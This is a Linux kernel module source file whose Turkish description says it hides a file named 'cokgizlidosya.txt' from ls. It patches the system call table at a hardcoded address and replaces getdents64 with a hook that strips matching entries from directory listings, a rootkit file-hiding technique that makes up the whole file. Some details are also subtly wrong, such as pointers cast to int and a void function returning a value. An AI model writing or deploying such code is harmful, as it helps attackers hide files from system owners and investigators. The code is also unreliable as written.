#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>

MODULE_AUTHOR("blacknbunny");
MODULE_DESCRIPTION("LS Komutundan cokgizlidosya.txt yi gizlemek");
MODULE_LICENSE("GPL");

void **sys_call_table;

#define DOSYA_ISMI "cokgizlidosya.txt"

asmlinkage int (*org_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
        int rtn;
        struct linux_dirent64 *cur = dirp;
        int i = 0;
        rtn = org_getdents64(fd, dirp, count);
        while (i < rtn) {
                if (strncmp(cur->d_name, DOSYA_ISMI, strlen(DOSYA_ISMI)) == 0) {
                        int reclen = cur->d_reclen;
                        char *next_rec = (char *)cur + reclen;
                        int len = (int)dirp + rtn - (int)next_rec;
                        memmove(cur, next_rec, len);
                        rtn -= reclen;
                        continue;
                }
                i += cur->d_reclen;
                cur = (struct linux_dirent*) ((char*)dirp + i);
        }
        return rtn;
}

int set_page_rw(unsigned long addr)
{
  unsigned int level;
  pte_t *pte = lookup_address(addr, &level);
  if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
  return 0;
}

int set_page_ro(unsigned long addr)
{
  unsigned int level;
  pte_t *pte = lookup_address(addr, &level);
  pte->pte = pte->pte &~_PAGE_RW;
  return 0;
}

static int __init getdents_hook_init(void)
{

  sys_call_table = (void*)0xffffffff820001c0;
  org_getdents64 = sys_call_table[__NR_getdents64];

  set_page_rw(sys_call_table);
  sys_call_table[__NR_getdents64] = hook_getdents64;
        return 0;
}

static void __exit getdents_hook_exit(void)
{
  sys_call_table[__NR_getdents64] = org_getdents64;
  set_page_ro(sys_call_table);
        return 0;
}

module_init(getdents_hook_init);
module_exit(getdents_hook_exit);